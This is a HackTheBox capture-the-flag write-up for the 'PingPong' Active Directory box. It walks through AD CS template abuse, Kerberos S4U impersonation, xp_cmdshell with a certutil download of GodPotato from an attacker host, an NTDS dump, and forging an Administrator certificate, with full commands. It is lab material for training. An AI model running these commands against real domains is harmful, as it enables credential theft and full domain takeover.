TL;DR

PingPong is a two-forest Active Directory chain that drops you in front of a single domain controller and asks you to find a hidden second forest sitting behind it. The chain rewards thinking in trust boundaries: a constrained WinRM foothold on ping.htb, a pivot through forwarded ports into the hidden pong.htb forest, MSSQL S4U abuse to land sysadmin, GodPotato to SYSTEM, an IFM dump for cross-realm material, and finally an ESC1-style certificate template flip back across the trust to mint a SID-bearing Administrator@ping.htb cert. It is the kind of box where every dead end teaches you something and the difference between "almost worked" and "shell" is one missing SID in a SAN.

Attack Chain

c.roberts WinRM foothold on dc1 -> port-forwarded pivot to pong.htb -> svc_sql Kerberos S4U to c.adam@MSSQLSvc -> xp_cmdshell + GodPotato = SYSTEM on dc2 -> c.carlssen local admin + IFM dump -> R.Martinelli NT/AES from offline NTDS -> cross-realm LDAPS template flip on SmartcardAuthentication -> SID-bearing cert as Administrator@ping.htb -> root.txt

Recon

The public surface was small and very Windows. A quick top-port scan made the framing obvious.

# Initial top-port sweep against the public IP
nmap -Pn -T4 - top-ports 100 10.129.138.209
53/tcp open domain
88/tcp open kerberos-sec
389/tcp open ldap
445/tcp open microsoft-ds
636/tcp open ssl/ldap
3268/tcp open ldap
3269/tcp open ssl/ldap
5985/tcp open http
9389/tcp open mc-nmf

There is no web foothold. LDAP metadata names a CA called ping-DC1-CA, which is a strong tell that AD CS is in play. With Kerberos, WinRM, and a CA all exposed by the same DC, the right hypothesis is "AD trust and certificate services" rather than "find a vulnerable web app".

Foothold: c.roberts and the Constrained WinRM

The intended path into `dc1.ping.htb` is via `c.roberts`, starting from the provided credentials `c.roberts / AssumedBreach123`. The live opening is AD CS `ESC13` on the `TemporaryWinRM` template: `c.roberts` can enroll in that template, PKINIT with the issued cert yields a TGT, and the resulting WinRM logon carries `PING\TempWinRMAccess`, which grants the constrained endpoint.

On the given 10.129.175.106, Kerberos was about eight hours ahead of the attacker box, so I had to wrap the Kerberos-aware steps in `faketime 'now + 8 hours'`. Certipy LDAP also needed the hostname pinned with `-target dc1.ping.htb` to avoid SPN drift during Kerberos bind.

After getting a TGT from the user's PFX, the first useful look around comes from running whoami /groups over WinRM:

# Starting creds on the fresh replay
faketime 'now + 8 hours' getTGT.py ping.htb/c.roberts:'AssumedBreach123' \
    -dc-ip 10.129.175.106

# Confirm the vulnerable AD CS template
KRB5_CONFIG=krb5_pingpong.conf KRB5CCNAME=c.roberts.ccache \
    faketime 'now + 8 hours' certipy find -u c.roberts@ping.htb -k -no-pass \
    -target dc1.ping.htb -dc-ip 10.129.175.106 -vulnerable -enabled -text

# Enroll in TemporaryWinRM via RPC
KRB5_CONFIG=krb5_pingpong.conf KRB5CCNAME=c.roberts.ccache \
    faketime 'now + 8 hours' certipy req -u c.roberts@ping.htb -k -no-pass \
    -target dc1.ping.htb -dc-host dc1.ping.htb -dc-ip 10.129.175.106 \
    -ca ping-DC1-CA -template TemporaryWinRM

# PKINIT with the issued cert to obtain a TGT
KRB5_CONFIG=krb5_pingpong.conf faketime 'now + 8 hours' \
    certipy auth -pfx c.roberts.pfx -username c.roberts -domain ping.htb \
    -dc-ip 10.129.175.106

# Use the TGT for Kerberos WinRM into dc1
KRB5CCNAME=c.roberts.ccache KRB5_CONFIG=krb5_pingpong.conf \
    python3 replay_10.129.175.106/winrm_run_resolved.py \
    dc1.ping.htb 10.129.175.106 "whoami /groups; ipconfig /all"

Two findings from that recon mattered for everything that followed:

  1. c.roberts belongs to PING\TempWinRMAccess, but the JEA endpoint heavily restricts what cmdlets are usable.
  2. 2. dc1 has a second NIC on 192.168.2.1, and dc2.pong.htb resolves internally to 192.168.2.2.

The forest trust itself with `nltest /domain_trusts` showed that `dc1` could reach `dc2` on `88/389/445/5985/1433`.

The second NIC is the actual hint. There is a hidden forest behind the public DC.

Pivoting Into the Hidden pong.htb Forest

dc2.pong.htb is not exposed on the HTB IP, but with WinRM on dc1 you can stand up port forwards to the internal services. I forwarded each dc2 service to a high local port:

# Local forwards (set up via SSH-tunnel-style relay through dc1)
# 127.0.0.1:30088 -> dc2 Kerberos (88)
# 127.0.0.1:33389 -> dc2 LDAP (389)
# 127.0.0.1:30445 -> dc2 SMB (445)
# 127.0.0.1:30636 -> dc2 LDAPS (636)
# 127.0.0.1:31433 -> dc2 MSSQL (1433)
# 127.0.0.1:35985 -> dc2 WinRM (5985)

The first attempts at Kerberos auth against the forwards failed because tooling treated the host as 127.0.0.1, but the SPNs Kerberos asks for are like cifs/dc2.pong.htb, not cifs/127.0.0.1. The fix is small but easy to miss: bind a loopback alias (127.0.0.2), pin dc2.pong.htb to it in /etc/hosts, and mirror the forwards to that alias. Now the hostname is preserved, the SPN matches, and Kerberos is happy.

If your SMB or LDAP works on 127.0.0.1 but the same call breaks against dc2.pong.htb, that is almost always SPN drift, not a credential problem.

svc_sql, c.carlssen, and a Useful Dead End

Enumerating the pong.htb forest with the credentials surfaced from there yields two service-class accounts: c.carlssen and svc_sql. Both authenticate fine, but neither is admin anywhere obvious.

I tried the obvious modern AD CS shortcut first: shadow credentials onto svc_sql, then PKINIT.

# Shadow Credentials write against svc_sql via the forwarded LDAPS endpoint
certipy shadow add -u c.carlssen@pong.htb -p 'A()DUJ!@414' \
 -account svc_sql -dc-ip 127.0.0.2

The write succeeded, but the PKINIT replay against the PONG KDC stalled with:

KDC_ERR_PADATA_TYPE_NOSUPP

The KDC rejects the PKINIT pre-auth type even though the msDS-KeyCredentialLink write went through. This is a good moment to remember a rule: if a clean branch is producing a stable, structural error, do not keep hammering. Use the password you already have. With svc_sql's plaintext, a normal kinit produced the TGT I needed and unblocked the next step.

MSSQL S4U: Becoming c.adam Inside SQL

svc_sql is the SQL Server service account, but logging in as svc_sql does not give you sysadmin. The actual privileged identity inside SQL is c.adam. The classic trick: use S4U2self to mint an MSSQL service ticket as c.adam, then connect.

# S4U2self impersonation: svc_sql forges a ticket for c.adam to MSSQLSvc/dc2
impacket-getST -self -impersonate c.adam \
 -spn 'MSSQLSvc/dc2.pong.htb:1433' \
 -dc-ip 127.0.0.2 -k -no-pass \
 pong.htb/svc_sql

# Use the resulting ccache to talk to MSSQL on dc2
KRB5CCNAME=c.adam_mssql.ccache KRB5_CONFIG=krb5_pingpong.conf \
 impacket-mssqlclient -k dc2.pong.htb -p 31433

Inside MSSQL, SELECT IS_SRVROLEMEMBER('sysadmin') returns 1. From here it is the well-worn xp_cmdshell road to RCE.

SYSTEM on dc2 via GodPotato (User Flag)

Service-account RCE inside SQL gives you NT Service\MSSQLSERVER, which holds SeImpersonatePrivilege. That is exactly what GodPotato wants.

-- Inside the mssqlclient session
show advanced option
xp_cmdshell

-- Drop GodPotato to disk and use it to add c.carlssen as a local admin on dc2
xp_cmdshell 'certutil -urlcache -split -f http://10.10.14.x/GodPotato-NET4.exe C:\ProgramData\GodPotato.exe';
xp_cmdshell 'C:\ProgramData\GodPotato.exe -cmd "cmd /c net localgroup Administrators pong\c.carlssen /add"';
xp_cmdshell 'net localgroup Administrators';

`c.carlssen` is now a local admin on `dc2`. WinRM in as `c.carlssen` and the user flag is at the usual location:

Get-Content C:\Users\c.carlssen\Desktop\user.txt
7782b750....3487b0b3b7

IFM Dump for R.Martinelli

I needed cross-realm material — something inside `pong.htb` that the trust would honor against `ping.htb`. DCSync over a port-forwarded RPC channel is fragile; an IFM (Install From Media) dump on the DC itself is quieter and more reliable.

# On dc2 as a local admin: create an offline NTDS snapshot
ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ifm" q q
# Pull the offline files back, then extract hashes locally
secretsdump.py -ntds loot/ifm/ntds.dit -system loot/ifm/SYSTEM LOCAL

The high-value identity in the dump was `R.Martinelli`, a `pong.htb` principal with rights that reach across the trust into `ping.htb`. With both NT and AES256 hashes in hand, I could reissue tickets in either domain.

Cross-Realm LDAP: Flipping SmartcardAuthentication

The end goal is AD CS abuse on `ping-DC1-CA`. Specifically, the `SmartcardAuthentication` template can be edited into an ESC1-flavored shape: enrollee-supplied subject, client auth EKU, and no manager approval. That makes it issuable as anyone, including `Administrator`.

The catch: the principal doing the editing is `R.Martinelli@PONG.HTB`, a foreign realm identity, and `certipy template` did not negotiate the cross-realm GSSAPI flow cleanly. Raw LDAPS with a merged ccache did.

# Build a ccache that has the cross-realm referral ticket plus a service ticket
# for ldap/dc1.ping.htb, all as R.Martinelli@PONG.HTB
KRB5_CONFIG=krb5_pingpong.conf kinit -k -t r.martinelli.keytab R.Martinelli@PONG.HTB
KRB5_CONFIG=krb5_pingpong.conf kvno ldap/dc1.ping.htb@PING.HTB
# Backup the current template state before touching anything
python3 scripts/template_backup.py - template SmartcardAuthentication \
 - out SmartcardAuthentication.backup.json
# Apply the ESC1-relevant attribute changes via raw GSSAPI LDAPS
python3 scripts/template_flip.py - template SmartcardAuthentication \
 - enrollee-supplies-subject - add-eku 1.3.6.1.5.5.7.3.2 \
 - remove-manager-approval

The exact attributes touched are `msPKI-Enrollment-Flag`, `msPKI-Certificate-Name-Flag`, `msPKI-RA-Signature`, `pKIExtendedKeyUsage`, `msPKI-Certificate-Application-Policy`, `flags`, and `pKIKeyUsage`. The backup JSON gets used in cleanup.

The SID Detail That Burns Half an Hour

With the template now ESC1-shaped, I requested an Administrator cert through `c.roberts`'s existing enrollment context:

# First attempt: request a cert with UPN=Administrator@ping.htb in the SAN
certipy req -u c.roberts@ping.htb -pfx c.roberts.pfx \
 -ca ping-DC1-CA -template SmartcardAuthentication \
 -upn Administrator@ping.htb -dc-ip 10.129.138.209

The cert issued, but Kerberos PKINIT failed with a strong-mapping error. Modern AD (May 2022 hardening) requires either an explicit `altSecurityIdentities` mapping or a SID embedded in the certificate's `szOID_NTDS_CA_SECURITY_EXT` extension. The fix is one extra flag:

# Reissue the cert with the Administrator SID embedded in the request
certipy req -u c.roberts@ping.htb -pfx c.roberts.pfx \
 -ca ping-DC1-CA -template SmartcardAuthentication \
 -upn Administrator@ping.htb \
 -sid S-1–5–21–750635624–2058721901–1932338391–500 \
 -dc-ip 10.129.138.209

# PKINIT with the SID-bearing cert; this issues a TGT for Administrator@PING.HTB
certipy auth -pfx administrator_sid.pfx -username administrator \
 -domain ping.htb -dc-ip 10.129.138.209 -ccache administrator.ccache

A subtle thing about the resulting PFX: its X.509 subject still shows `CN=C.roberts`. The Administrator identity comes from the SAN UPN and the NTDS CA SID extension, not from the visible subject. If you only look at the subject field you will think the cert is wrong. It isn't.

Root and Cleanup

KRB5CCNAME=administrator.ccache KRB5_CONFIG=krb5_pingpong.conf \
 python3 scripts/winrm_run.py dc1.ping.htb \
 "Get-Content 'C:\\Users\\Administrator\\Desktop\\root.txt'"
a3023b0...05f0e991

Cleanup matters here. Leaving `SmartcardAuthentication` in an ESC1 state is a giant footprint. The backup taken earlier gets reapplied verbatim:

# Restore the original template state from the backup JSON
python3 scripts/template_restore.py \
 — template SmartcardAuthentication \
 — in SmartcardAuthentication.backup.json

A read-back over LDAPS confirmed `msPKI-Enrollment-Flag`, `msPKI-Certificate-Name-Flag`, `msPKI-RA-Signature`, and the EKU set all matched the backup again.

Key Takeaways

- If a service works on `127.0.0.1` but fails on the real hostname over Kerberos, it is SPN drift, not a credential bug. Bind a loopback alias and pin the hostname to it so SPNs stay correct through the forward. - Stable structural Kerberos errors are a sign to switch branches. `KDC_ERR_PADATA_TYPE_NOSUPP` on PKINIT replay is a hard rejection, not a tuning problem. If you have the plaintext, use it. - For cross-realm AD CS work, drop one abstraction level when high-level tooling misbehaves. Raw GSSAPI LDAPS with a properly populated ccache can do what `certipy template` will not, and it is easier to reason about. - Strong certificate mapping needs the SID, every time. Since the May 2022 hardening, omitting `-sid` on a UPN-only Administrator cert produces an issuable cert that PKINIT will refuse. Always embed the SID. - Clean up the template. ESC1 left in production is the kind of finding that justifies the engagement on its own. Backup before, restore after.

Tools Used

- certipy — PKINIT auth, shadow credentials, cert request with `-sid` for strong mapping, and the source of truth for the AD CS attack surface. - impacket-getST / impacket-mssqlclient— S4U2self to mint a `c.adam` MSSQL ticket and authenticate to SQL with it. - GodPotato— `SeImpersonate` -> SYSTEM through the SQL service account on `dc2`. - ntdsutil (IFM) — quiet offline NTDS snapshot on `dc2` instead of fragile forwarded DCSync. - secretsdump.py — offline extraction of `R.Martinelli`'s NT and AES256 from the IFM files. - Raw GSSAPI LDAPS scripts — cross-realm template modification when `certipy template` would not negotiate the foreign principal. - Custom WinRM runner over Kerberos — using ccaches to drive PowerShell on `dc1` without cleartext credentials.

Final Credential Chain

| Principal | Material | Used For |
| - -| - -| - -|
| `c.roberts@PING.HTB` | PFX + TGT | initial WinRM foothold on `dc1` |
| `c.carlssen@PONG.HTB` | password | `pong` enumeration, later local admin on `dc2` |
| `svc_sql@PONG.HTB` | password | S4U2self to MSSQL as `c.adam` |
| `c.adam@PONG.HTB` | MSSQL ticket | SQL sysadmin context for `xp_cmdshell` |
| `R.Martinelli@PONG.HTB` | NT/AES from IFM | cross-realm LDAPS template flip on `dc1` |
| `Administrator@PING.HTB` | SID-bearing cert + TGT | root on `dc1` |

Tags: HackTheBox | Active Directory | AD CS ESC1 | Kerberos S4U | Forest Trust | Penetration Testing | CTF | Windows